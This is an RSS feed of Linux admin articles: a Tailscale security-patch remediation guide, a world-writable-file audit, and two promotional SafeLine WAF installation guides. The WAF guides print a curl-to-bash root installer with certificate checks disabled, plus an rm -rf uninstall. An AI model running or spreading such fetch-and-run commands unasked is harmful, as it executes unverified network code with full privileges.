<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Coder Legion - Recent posts tagged linux</title>
<link>https://coderlegion.com/tag/linux</link>
<description>Powered by Question2Answer</description>
<item>
<title>Tailscale 1.104.4 Patches Four SSH and Serve Bulletins: How to Remediate</title>
<link>https://coderlegion.com/33031/tailscale-1-104-4-patches-four-ssh-and-serve-bulletins-how-to-remediate</link>
<description>&lt;p&gt;Tailscale SSH is a popular feature in homelab setups because it lets you ditch traditional SSH key management entirely and lean on your Tailnet's identity model instead. That makes the recent security investigation and remediation update worth paying close attention to, even if your deployment is small.&lt;/p&gt;
&lt;p&gt;Tailscale published an investigation and remediation update covering a vulnerability in the Tailscale SSH feature. The short version: under certain conditions, an already authorized Tailscale SSH session could perform actions beyond the permissions of its configured local user. Tailscale published four bulletins dated 26 October 2026, TS-2026-014 through TS-2026-017, and fixed all four in client version 1.104.4, released on 28 October 2026. No CVE identifiers were assigned. Tailscale is explicit that authentication and access policy checks were not what failed, so this is a privilege escalation after authorization, not an ACL bypass. This post breaks down what that means for a homelab operator and what you should do right now.&lt;/p&gt;
&lt;h3 id=&quot;-why-this-matters-for-homelab-users&quot;&gt;💡 Why This Matters for Homelab Users&lt;/h3&gt;
&lt;p&gt;Tailscale SSH is attractive precisely because it ties SSH authorization to your Tailnet ACLs. You define who can reach which machine and on which user, and Tailscale enforces it. In this case that authorization layer held: the tailnet policy file still gated which users could reach which machines, and an unauthenticated attacker could not connect to arbitrary Tailscale SSH servers. What failed was the privilege boundary enforced after a session was authorized, which is how an authorized user could reach root only Unix sockets through SSH forwarding.&lt;/p&gt;
&lt;p&gt;Homelab deployments often have a mix of machines: NAS boxes, Proxmox hosts, Raspberry Pis, LXC containers. If Tailscale SSH is enabled broadly across those nodes, any privilege escalation in that path is a serious concern. Note the precondition that narrows it: TS-2026-014, the most serious of the four, only applies where your SSH access policy permits local or remote port forwarding. The good news is that Tailscale shipped the fix in 1.104.4 and the remediation steps are straightforward.&lt;/p&gt;
&lt;h3 id=&quot;-prerequisites&quot;&gt;🧰 Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Tailscale installed on your nodes (check &lt;code&gt;tailscale version&lt;/code&gt; to confirm your current version)&lt;/li&gt;
&lt;li&gt;Access to your Tailscale admin console at &lt;a rel=&quot;nofollow&quot; href=&quot;https://login.tailscale.com/admin&quot;&gt;login.tailscale.com/admin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;SSH or console access to each affected machine to run the upgrade&lt;/li&gt;
&lt;li&gt;Familiarity with your distro's package manager (apt, yum, pacman, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-what-the-vulnerability-was&quot;&gt;🔍 What the Vulnerability Was&lt;/h3&gt;
&lt;p&gt;According to Tailscale's bulletins, there were four issues, not one. Two affect Tailscale SSH: TS-2026-014, where Unix socket forwarding could give peers access to root only sockets, and TS-2026-015, where an authenticated peer could drive unbounded memory growth in tailscaled and cause a denial of service. Two affect Tailscale Serve: TS-2026-016, where Serve Unix backends could reach privileged sockets including the tailscaled local API socket, and TS-2026-017, a race condition that could send Tailscale-App-Capabilities values from one mount to requests for another. None of them affect the core WireGuard tunnel or standard SSH setups that only use Tailscale for networking. Machines running the Tailscale SSH server, or using Serve with TLS and multiple mounts, were the ones at risk.&lt;/p&gt;
&lt;p&gt;The attack surface required an authenticated Tailnet peer, so this was not an open internet exposure. That said, in a shared or multi-user Tailnet, or any environment where you do not fully control every peer, that distinction matters less than it sounds. Always treat a privilege escalation in an access control path as a serious issue regardless of the required preconditions.&lt;/p&gt;
&lt;p&gt;For the exact technical details of the vulnerability, including the four bulletins TS-2026-014 through TS-2026-017 and the fixed version 1.104.4, see tailscale.com/security-bulletins and the write up at tailscale.com/blog/tailscale-ssh-findings-fixes. No CVE identifiers were assigned to these bulletins, so do not go looking for one. The investigation timeline is at &lt;a rel=&quot;nofollow&quot; href=&quot;https://tailscale.com/ssh-investigation-update&quot;&gt;tailscale.com/ssh-investigation-update&lt;/a&gt;. Tailscale's write-up is the authoritative source and may be updated as the investigation continues.&lt;/p&gt;
&lt;h3 id=&quot;-remediation-steps&quot;&gt;🛡️ Remediation Steps&lt;/h3&gt;
&lt;p&gt;The primary fix is upgrading the Tailscale client to the patched version on every node where Tailscale SSH is enabled. Do this on all machines in your Tailnet, not just the ones you think are &quot;important.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Check your current Tailscale version on each node.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tailscale version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Update Tailscale using your distro's package manager. On Debian or Ubuntu-based systems:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt install tailscale
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On RPM-based systems (Fedora, Rocky, AlmaLinux):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf upgrade tailscale
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On Arch Linux:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo pacman -Syu tailscale
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; Restart the Tailscale daemon after upgrading to make sure the new version is fully active.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl restart tailscaled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; Confirm the updated version is running.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tailscale version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You need 1.104.4 or newer on every node. Cross-reference the output against that before moving on.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5:&lt;/strong&gt; If you cannot immediately upgrade a node, Tailscale's own recommended mitigation is to disable SSH forwarding, not to disable Tailscale SSH. Set &lt;code&gt;TS_SSH_DISABLE_FORWARDING=1&lt;/code&gt; in the tailscaled service environment and restart the service. That addresses TS-2026-014, the most serious of the four, and it leaves Tailscale SSH working. Tailscale explicitly does not recommend disabling Tailscale SSH entirely. Also review your SSH access policy so only the users and devices that need access have it. If you nonetheless want to turn Tailscale SSH off on a node, the command is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo tailscale set --ssh=false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This disables the Tailscale SSH feature on that node while leaving your normal Tailscale network connectivity intact. You can still reach the machine over your Tailnet and use traditional SSH on port 22 with your existing keys.&lt;/p&gt;
&lt;h3 id=&quot;-audit-your-acl-policy-while-you-are-at-it&quot;&gt;🔧 Audit Your ACL Policy While You Are At It&lt;/h3&gt;
&lt;p&gt;Incidents like this are a good forcing function to review your ACL policy in the admin console. A few things worth checking:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Are you granting Tailscale SSH access only to specific users and specific destination tags, rather than using wildcard rules?&lt;/li&gt;
&lt;li&gt;Do you have &lt;code&gt;checkPeriod&lt;/code&gt; set on your SSH rules, alongside a &lt;code&gt;check&lt;/code&gt; action, so that re-authentication is required after a defined interval? The field is camelCase, it only applies to check actions, and the default is 12 hours.&lt;/li&gt;
&lt;li&gt;Are there any old test rules or overly broad grants you added and forgot about?&lt;/li&gt;
&lt;li&gt;Are your node tags accurate and not applied to machines they should not cover?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The principle of least privilege applies just as much to Tailscale ACLs as it does to anything else. Tighter rules mean a smaller blast radius if something like this happens again.&lt;/p&gt;
&lt;h3 id=&quot;-troubleshooting&quot;&gt;🔧 Troubleshooting&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Tailscale is not in my distro's default repo.&lt;/strong&gt; If you installed Tailscale from the official Tailscale repo (which is the recommended method), the &lt;code&gt;apt&lt;/code&gt; or &lt;code&gt;dnf&lt;/code&gt; commands above will pull from that repo automatically. If you installed it another way, check the &lt;a rel=&quot;nofollow&quot; href=&quot;https://tailscale.com/download&quot;&gt;Tailscale download page&lt;/a&gt; for your platform's update instructions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I am running Tailscale in Docker.&lt;/strong&gt; Pull the latest image tag from the official Tailscale Docker image and redeploy your container. Check the image's release notes or Tailscale's changelog to confirm the patched version is included before pulling.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I am running Tailscale on a Raspberry Pi or other ARM device.&lt;/strong&gt; The standard package manager update commands work the same way on ARM. Confirm &lt;code&gt;tailscale version&lt;/code&gt; reflects the patched release after upgrading.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Making the change persist.&lt;/strong&gt; Preferences changed with &lt;code&gt;tailscale set&lt;/code&gt; are stored in the node's state and survive a reboot. &lt;code&gt;tailscale up&lt;/code&gt; behaves differently: its flags are not persisted between runs, so you must pass every flag you want on each invocation, which is exactly why &lt;code&gt;tailscale set&lt;/code&gt; is the right command for flipping one preference. If you are applying the &lt;code&gt;TS_SSH_DISABLE_FORWARDING=1&lt;/code&gt; mitigation, put it in a systemd drop-in for tailscaled so the variable survives a restart.&lt;/p&gt;
&lt;h3 id=&quot;-wrap-up&quot;&gt;✅ Wrap Up&lt;/h3&gt;
&lt;p&gt;Tailscale SSH is a genuinely useful feature that simplifies access management across a homelab. But convenience features that sit in the authentication path need to be kept patched and configured tightly. The remediation here is low friction: update the client, restart the daemon, verify the version.&lt;/p&gt;
&lt;p&gt;If you cannot patch right now, set &lt;code&gt;TS_SSH_DISABLE_FORWARDING=1&lt;/code&gt; on tailscaled and tighten your SSH access policy to the users and devices that genuinely need it. That is Tailscale's own recommended interim state, and it keeps Tailscale SSH working rather than forcing you back onto key management. If you run headscale rather than Tailscale's coordination server, be aware that the related headscale issues were reported as still unpatched at the time of writing, so updating the client alone may not cover you. Once you are patched, take a few minutes to audit your ACL policy and tighten any rules that are broader than they need to be. That work pays dividends the next time something like this surfaces.&lt;/p&gt;
&lt;p&gt;For the full technical disclosure and any updates to the investigation, keep an eye on &lt;a rel=&quot;nofollow&quot; href=&quot;https://tailscale.com/ssh-investigation-update&quot;&gt;tailscale.com/ssh-investigation-update&lt;/a&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Originally published at &lt;a rel=&quot;nofollow&quot; href=&quot;https://codewithromi.com/tailscale-ssh-vulnerability-what-happened-and-how-to-remediate-it-in-your-homelab/&quot;&gt;codewithromi.com&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/33031/tailscale-1-104-4-patches-four-ssh-and-serve-bulletins-how-to-remediate</guid>
<pubDate>Fri, 30 Oct 2026 03:58:00 +0000</pubDate>
</item>
<item>
<title>Finding the world-writable files on your server before someone else does</title>
<link>https://coderlegion.com/28028/finding-the-world-writable-files-on-your-server-before-someone-else-does</link>
<description>&lt;p&gt;A world-writable file can be rewritten by every account on the machine — including the service account your web server runs as. Code executing as &lt;code&gt;www-data&lt;/code&gt; through a compromised plugin doesn't need root: any &lt;code&gt;chmod 777&lt;/code&gt; you left behind during past debugging is a file it can overwrite or replace outright.&lt;/p&gt;
&lt;p&gt;Two details break most homegrown audits. First, &lt;code&gt;find -perm 777&lt;/code&gt; (no dash) matches mode 777 &lt;em&gt;exactly&lt;/em&gt; — a &lt;code&gt;666&lt;/code&gt; file is equally world-writable and slips through. The dash form uses mask semantics and catches every file with the other-write bit set. Second, never fix findings with &lt;code&gt;chmod -R 644&lt;/code&gt;: on directories, the execute bit means &quot;may be entered,&quot; and stripping it recursively seals off the whole tree. Split the fix by type instead:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;find /var/www -type f -perm -o+w 2&amp;gt;/dev/null
find /var/www -type f -exec chmod 644 {} \;
find /var/www -type d -exec chmod 755 {} \;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SSH keys and secrets go tighter, to &lt;code&gt;600&lt;/code&gt; — OpenSSH refuses group- or world-readable private keys outright.&lt;/p&gt;
&lt;p&gt;I keep the longer version as a script with a saved report file, a SUID scan, and a recommended-modes reference: &lt;a rel=&quot;nofollow&quot; href=&quot;https://bashsnippets.xyz/snippets/file-permissions-security&quot;&gt;full file-permissions security audit script&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28028/finding-the-world-writable-files-on-your-server-before-someone-else-does</guid>
<pubDate>Thu, 29 Oct 2026 13:00:00 +0000</pubDate>
</item>
<item>
<title>How to Install a WAF with the Official Linux Manager Script on a Checked Host</title>
<link>https://coderlegion.com/32928/how-to-install-a-waf-with-the-official-linux-manager-script-on-a-checked-host</link>
<description>&lt;p&gt;A self-hosted web application firewall only helps after it is actually running in front of the origin. SafeLine is a self-hosted WAF that filters and monitors HTTP traffic between a web application and the Internet, and the install guide treats one published command as the recommended automatic path. This article follows that path only: check the Linux host against the documented dependencies, run the official manager script as root, open the web console, and then place an application behind the reverse proxy. It does not invent extra flags, custom ports, or a separate uninstall switch for that script.&lt;/p&gt;
&lt;p&gt;The product introduction describes SafeLine as a reverse-proxy shield. Clients pass through the WAF before they reach the server. It filters, monitors, and blocks malicious HTTP and HTTPS traffic, and it is described as preventing unauthorized data from leaving the application by applying policy. The same page lists typical coverage for SQL injection, XSS, code injection, OS command injection, CRLF injection, LDAP injection, XPath injection, RCE, XXE, SSRF, path traversal, backdoor, brute force, HTTP flood, and bot abuse. Named core capabilities are web-attack defense, proactive bot-abuse defense, HTML and JavaScript code encryption, IP-based rate limiting, and a web access control list. The feature list also describes rate limiting against denial of service, brute force, traffic surges, and other abuse; CAPTCHA challenge; authentication challenge; and dynamic protection that encrypts HTML and JavaScript on each visit. Those controls are configured after installation. They are not arguments to the manager script. See the &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;SafeLine introduction&lt;/a&gt; for that capability list.&lt;/p&gt;
&lt;p&gt;The &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/GetStarted/Deploy&quot;&gt;install guide&lt;/a&gt; states the host requirements before either install method. The operating system must be Linux. The instruction architecture must be x86_64 or arm64. Docker must be version 20.10.14 or above, and Docker Compose must be version 2.0.0 or above. The minimum environment is 1 CPU core, 1 GB of memory, and 5 GB of disk. The CPU must support the ssse3 instruction. The same page publishes these confirmation commands:&lt;/p&gt;
&lt;p&gt;uname -m&lt;br&gt;
docker version&lt;br&gt;
docker compose version&lt;br&gt;
cat /proc/cpuinfo | grep &quot;processor&quot;&lt;br&gt;
free -h&lt;br&gt;
df -h&lt;br&gt;
lscpu | grep ssse3&lt;/p&gt;
&lt;p&gt;A missing dependency is a reason to stop. The automatic section does not document switches for architecture, a custom data directory, a custom console port, or an LTS release. Those choices appear in the manual compose section, where you create a SafeLine directory, download compose.yaml, and write .env. If the server is ARM, that manual section states that SafeLine installed on ARM requires a Pro license to work properly and that the Personal Edition is not supported on ARM. Nothing in the automatic command says the manager script waives that constraint, so an ARM host should be treated as a licensing decision before you install.&lt;/p&gt;
&lt;p&gt;When the checks match the guide, the recommended automatic command is the official manager script. It requires root privileges:&lt;/p&gt;
&lt;p&gt;bash -c &quot;$(curl -fsSLk &lt;a rel=&quot;nofollow&quot; href=&quot;https://waf.chaitin.com/release/latest/manager.sh&quot;&gt;https://waf.chaitin.com/release/latest/manager.sh&lt;/a&gt;)&quot; -- --en&lt;/p&gt;
&lt;p&gt;The deploy page says that after this command is executed, installation has succeeded, and you should go directly to the web UI. Open &lt;a rel=&quot;nofollow&quot; href=&quot;https://&amp;lt;safeline-ip&amp;gt;:9443/&quot;&gt;https://&amp;lt;safeline-ip&amp;gt;:9443/&lt;/a&gt; in a browser. The initial administrator account is obtained with a separate documented command:&lt;/p&gt;
&lt;p&gt;docker exec safeline-mgt resetadmin&lt;/p&gt;
&lt;p&gt;On success, the guide shows an initial username of admin, an initial password, and a reminder to keep that output. Log in with that password. Do not assume the script printed a durable account record anywhere else.&lt;/p&gt;
&lt;p&gt;A running console is not the same as a protected site. The &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/GetStarted/AddApplication&quot;&gt;application guide&lt;/a&gt; says SafeLine is a web application firewall developed based on nginx and that it works as an HTTP and HTTPS reverse proxy. It receives traffic for the original website, cleans malicious traffic, and forwards the remaining traffic to the original application. In the web admin console, open Applications and choose Add Application. Enter the domain, hostname, or IP address of the original app; the port SafeLine will listen on, such as 80 or 443; and the upstream address used to forward traffic. For an HTTPS app, check the SSL option. Then resolve the domain you entered to the IP address of the server where SafeLine is located. Until that resolution exists, the path described in the guide is not in place.&lt;/p&gt;
&lt;p&gt;Verification belongs on an application you control. The application guide names SQL injection, XSS, path traversal, code injection, and XXE as sample attack classes, and it says a blocking page means the attack was defended. The web console attack list, including the detail view, is where that guide says to inspect what was recorded. One blocked request does not configure rate limiting, CAPTCHA challenge, authentication challenge, or dynamic protection. Those remain separate features described in the introduction.&lt;/p&gt;
&lt;p&gt;Keep the manual route in reserve rather than mixing it into the script. The install guide documents a directory such as /data/safeline, a requirement of at least 5 GB of disk for that directory, a downloaded compose file, environment variables, secret generation, permission steps, and docker compose up -d. It also documents uninstall as entering the SafeLine directory, running docker compose down, and then removing that directory, only when you are sure you no longer want to use SafeLine. Those are manual steps. They are not published as manager-script options. If you set RELEASE to the LTS value in the manual file, the same page says the LTS version will no longer be maintained starting from 9.1.0-LTS on 14 August 2025, and it strongly recommends that LTS users upgrade to the latest version.&lt;/p&gt;
&lt;p&gt;The supported order is therefore short. Match Linux, architecture, Docker, Docker Compose, ssse3, memory, and disk to the install guide. Run the official manager script with root. Open the console on port 9443 and reset the admin account with the documented container command. Add the application, point the domain at the SafeLine server, and confirm blocks in the console. That is how to install this WAF with the official Linux manager script without adding steps the deploy page does not publish.&lt;/p&gt;
&lt;h4 id=&quot;what-does-the-official-manager-script-require-&quot;&gt;What does the official manager script require?&lt;/h4&gt;
&lt;p&gt;The install guide marks automatic deployment as recommended and says the command requires root privileges. It also requires Linux, x86_64 or arm64, Docker 20.10.14 or above, Docker Compose 2.0.0 or above, a CPU with ssse3, and at least 1 CPU core, 1 GB of memory, and 5 GB of disk. Run the published check commands before the installer.&lt;/p&gt;
&lt;h4 id=&quot;does-a-finished-script-mean-the-site-is-already-protected-&quot;&gt;Does a finished script mean the site is already protected?&lt;/h4&gt;
&lt;p&gt;No. The deploy page says a completed command means installation succeeded and that you should use the web UI. The application guide says protection is the reverse-proxy setup: add the application, set domain, listen port, and upstream, check SSL for HTTPS, and resolve the domain to the SafeLine server IP.&lt;/p&gt;
&lt;h4 id=&quot;where-is-the-first-console-password-documented-&quot;&gt;Where is the first console password documented?&lt;/h4&gt;
&lt;p&gt;Open &lt;a rel=&quot;nofollow&quot; href=&quot;https://&amp;lt;safeline-ip&amp;gt;:9443/&quot;&gt;https://&amp;lt;safeline-ip&amp;gt;:9443/&lt;/a&gt; and run docker exec safeline-mgt resetadmin. The install guide says a successful run shows the initial username admin and an initial password, and it tells you to remember that content before you log in.&lt;/p&gt;
&lt;h4 id=&quot;when-is-the-manual-compose-path-the-documented-alternative-&quot;&gt;When is the manual compose path the documented alternative?&lt;/h4&gt;
&lt;p&gt;Use the manager script for the recommended automatic install. Use the manual section when you need the published compose workflow, including the SafeLine directory, compose.yaml, .env values, generated secrets, and docker compose up -d. On ARM, that section states that a Pro license is required and that the Personal Edition is not supported.&lt;/p&gt;
&lt;h4 id=&quot;which-settings-are-outside-the-automatic-command-&quot;&gt;Which settings are outside the automatic command?&lt;/h4&gt;
&lt;p&gt;The automatic section does not publish a custom console port, an LTS switch, token generation, console proxy layers, or an uninstall flag. ARCH_SUFFIX, RELEASE, MGT_PORT, and related variables are documented in the manual .env instructions. Uninstall is docker compose down in the SafeLine directory, followed by removal of that directory.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;SafeLine has surpassed 700,000 installations worldwide as of September 30, 2026. SafeLine Pro annual promotional pricing is $650-$880, compared with the regular $1,000 per year.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SafeLine website: &lt;a rel=&quot;nofollow&quot; href=&quot;https://ly.cyberserval.tech/MqhYdmI&quot;&gt;https://ly.cyberserval.tech/MqhYdmI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Demo: &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;https://demo.waf.chaitin.com:9443/statistics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Official docs: &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;https://docs.waf.chaitin.com/en/home&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;GitHub: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;https://github.com/chaitin/SafeLine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Pro offer: &lt;a rel=&quot;nofollow&quot; href=&quot;https://cyberserval.tech/landing/lto&quot;&gt;https://cyberserval.tech/landing/lto&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/32928/how-to-install-a-waf-with-the-official-linux-manager-script-on-a-checked-host</guid>
<pubDate>Thu, 29 Oct 2026 04:37:18 +0000</pubDate>
</item>
<item>
<title>Why I Check the Host Before the Official Linux WAF Manager Script</title>
<link>https://coderlegion.com/32927/why-i-check-the-host-before-the-official-linux-waf-manager-script</link>
<description>&lt;p&gt;A one-line installer is useful only when the host underneath it already matches the product's documented requirements. SafeLine's English deploy guide marks automatic installation as the recommended path, and that path is the official Linux manager script. I still refuse to paste the script into a shell as my first action. The same page lists operating system, architecture, container runtime, memory, disk, and CPU checks before the install command. Those checks are the install, in practice. The script is the commit step.&lt;/p&gt;
&lt;p&gt;SafeLine is a self-hosted web application firewall. Placed in front of a web application, it filters and monitors HTTP traffic between the application and the Internet. The introduction describes it as a reverse proxy: clients pass through the WAF before they reach the server, which limits direct exposure of the origin. Documented attack coverage includes SQL injection, XSS, code injection, OS command injection, CRLF injection, LDAP injection, XPath injection, RCE, XXE, SSRF, path traversal, backdoor, brute force, HTTP flood, and bot abuse. Listed core capabilities are defenses for web attacks, proactive bot-abuse defense, HTML and JS code encryption, IP-based rate limiting, and a web access control list. The feature list also includes CAPTCHA challenge, authentication challenge, and dynamic protection that encrypts HTML and JS on each visit. I cite those capabilities from the product introduction at &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;https://docs.waf.chaitin.com/en/home&lt;/a&gt; so the install decision stays tied to what the WAF is actually documented to do. Installation does not turn those controls on for a site by itself.&lt;/p&gt;
&lt;p&gt;Before the manager script, I confirm the dependency table in the deploy guide at &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/GetStarted/Deploy&quot;&gt;https://docs.waf.chaitin.com/en/GetStarted/Deploy&lt;/a&gt;. The operating system must be Linux. The instruction architecture must be x86_64 or arm64. Docker must be version 20.10.14 or above. Docker Compose must be version 2.0.0 or above. The minimum environment is 1 core of CPU, 1 GB of memory, and 5 GB of disk. The CPU must provide the ssse3 instruction. The guide publishes the confirmation commands, and I run them rather than trusting a panel screenshot: uname -m, docker version, docker compose version, cat /proc/cpuinfo | grep &quot;processor&quot;, free -h, df -h, and lscpu | grep ssse3. A host that fails any line is not ready. I do not lower the documented floor to make the script fit a smaller VM.&lt;/p&gt;
&lt;p&gt;The recommended automatic command, which requires root privileges, is bash -c &quot;$(curl -fsSLk &lt;a rel=&quot;nofollow&quot; href=&quot;https://waf.chaitin.com/release/latest/manager.sh&quot;&gt;https://waf.chaitin.com/release/latest/manager.sh&lt;/a&gt;)&quot; -- --en. I copy that command from the deploy guide and I do not append undocumented options. The guide's success criterion is narrow and useful: after the command is executed, the installation is successful, and the next instruction is to use the web UI directly. I treat a clean exit as proof that the instance was installed, not as proof that the origin is protected. If the command fails, I return to the dependency checks and the installation FAQ linked from that page instead of retrying with guessed flags.&lt;/p&gt;
&lt;p&gt;The documented console address is &lt;a rel=&quot;nofollow&quot; href=&quot;https://&amp;lt;safeline-ip&amp;gt;:9443/&quot;&gt;https://&amp;lt;safeline-ip&amp;gt;:9443/&lt;/a&gt;. In the manual environment file the management port variable MGT_PORT is set to 9443, which matches that URL. To obtain the administrator account, the guide says to run docker exec safeline-mgt resetadmin. A successful execution prints the initial username admin, an initial password, and a done line. The password belongs to that instance. I record it before closing the session, then log in with that password.&lt;/p&gt;
&lt;p&gt;Login is still only console access. Application protection is a separate procedure, documented at &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/GetStarted/AddApplication&quot;&gt;https://docs.waf.chaitin.com/en/GetStarted/AddApplication&lt;/a&gt;. SafeLine is described there as a web application firewall developed based on nginx. It receives traffic for the original website, cleans malicious traffic, and forwards safe traffic upstream. In the web admin console I open Applications and choose Add Application. Domain accepts a domain name, a hostname, or an IP address. Port is the port SafeLine will listen on, such as 80 or 443, and HTTPS applications need the SSL option checked. Upstream is the real address of the original application. After saving, I resolve the entered domain to the IP of the server where SafeLine runs. The same page publishes sample requests for SQL injection, XSS, path traversal, code injection, and XXE. A blocking page means the attack was defended. Details are in the console attack list.&lt;/p&gt;
&lt;p&gt;I keep manual compose as the documented alternative, not as a second opinion from an unrelated guide. Manual deploy installs Docker if needed with the published Docker install command, creates /data/safeline, requires at least 5 GB there, downloads compose.yaml, writes .env, generates a 64-character hex detector management token, a 64-character hex management internal token, and a 16-character alphanumeric detector AES key, restricts .env to mode 600, prepares runtime directories, and starts the stack with docker compose up -d. That is the path I use when I must set SAFELINE_DIR, IMAGE_TAG, MGT_PORT, POSTGRES_PASSWORD, SUBNET_PREFIX, IMAGE_PREFIX, ARCH_SUFFIX, RELEASE, REGION, or MGT_PROXY myself. MGT_PROXY is documented as the number of console proxy layers and should only be used when configuring a proxy for the console. The default is 0, meaning no proxy is configured.&lt;/p&gt;
&lt;p&gt;Two manual settings change the decision even if the manager script is otherwise attractive. On an ARM server the guide says to set ARCH_SUFFIX to -arm and to use the ARM Postgres image. It also states that SafeLine installed on ARM requires a Pro license to work properly, and that the Personal Edition is not supported on ARM. I confirm edition and architecture before I install, because a successful container start is not the same statement as a supported edition. For the LTS line, RELEASE is set to -lts. The guide states that the LTS version will no longer be maintained starting from 9.1.0-LTS (14 August 2025), and that LTS users are strongly recommended to upgrade to the latest version. If there are concerns about a new release, the same note recommends upgrading one month after that release. For a first host I stay on the latest recommended automatic install unless I have a specific reason to select LTS and accept that maintenance status.&lt;/p&gt;
&lt;p&gt;Uninstall is also explicit, and it is destructive. Enter the SafeLine directory, run docker compose down, then remove the directory with rm -rf only when you are sure you no longer want to use SafeLine. I do not use that sequence to reset a host that failed the ssse3 or disk check. Those failures should be fixed, or the install should be abandoned, before any data directory exists.&lt;/p&gt;
&lt;p&gt;The manager script is the right Linux install path when the dependency table already passes, root is available, and I do not need to override the environment variables that only the manual page documents. It is the wrong moment to experiment when architecture, license edition, disk, or Docker version is still unknown.&lt;/p&gt;
&lt;h4 id=&quot;what-does-the-official-manager-script-require-on-linux-&quot;&gt;What does the official manager script require on Linux?&lt;/h4&gt;
&lt;p&gt;The automatic command requires root. The host must already meet the published minimums: Linux, x86_64 or arm64, Docker 20.10.14 or above, Docker Compose 2.0.0 or above, 1 CPU core, 1 GB of memory, 5 GB of disk, and ssse3. I verify those with the commands in the deploy guide before I run the script.&lt;/p&gt;
&lt;h4 id=&quot;is-the-web-console-available-as-soon-as-the-script-finishes-&quot;&gt;Is the web console available as soon as the script finishes?&lt;/h4&gt;
&lt;p&gt;The deploy guide says a completed command means the installation succeeded and that you should open the web UI. The documented console URL is &lt;a rel=&quot;nofollow&quot; href=&quot;https://&amp;lt;safeline-ip&amp;gt;:9443/&quot;&gt;https://&amp;lt;safeline-ip&amp;gt;:9443/&lt;/a&gt;. You still need the administrator password from docker exec safeline-mgt resetadmin before login will succeed.&lt;/p&gt;
&lt;h4 id=&quot;does-installation-alone-proxy-my-existing-site-&quot;&gt;Does installation alone proxy my existing site?&lt;/h4&gt;
&lt;p&gt;No. You must add an application in the console, set domain, listen port, and upstream, and resolve that domain to the SafeLine server. Until that forwarding path exists, the origin is not behind the WAF described in the configuration guide.&lt;/p&gt;
&lt;h4 id=&quot;should-an-arm-host-use-the-same-one-line-install-without-extra-review-&quot;&gt;Should an ARM host use the same one-line install without extra review?&lt;/h4&gt;
&lt;p&gt;Review the ARM notes first. The deploy guide says an ARM install must use the ARM architecture suffix and ARM Postgres image in the manual environment, and that SafeLine on ARM requires a Pro license. The Personal Edition is not supported on ARM.&lt;/p&gt;
&lt;h4 id=&quot;how-do-i-remove-a-test-install-without-leaving-the-stack-running-&quot;&gt;How do I remove a test install without leaving the stack running?&lt;/h4&gt;
&lt;p&gt;From the SafeLine directory, run docker compose down. If you are certain you no longer want the product or its data, remove that directory with rm -rf. Do this only after you have exported anything you still need, because the documented removal deletes the directory.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;SafeLine has surpassed 700,000 installations worldwide as of September 30, 2026. SafeLine Pro annual promotional pricing is $650-$880, compared with the regular $1,000 per year.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SafeLine website: &lt;a rel=&quot;nofollow&quot; href=&quot;https://ly.cyberserval.tech/MqhYdmI&quot;&gt;https://ly.cyberserval.tech/MqhYdmI&lt;/a&gt;&lt;/li&gt;
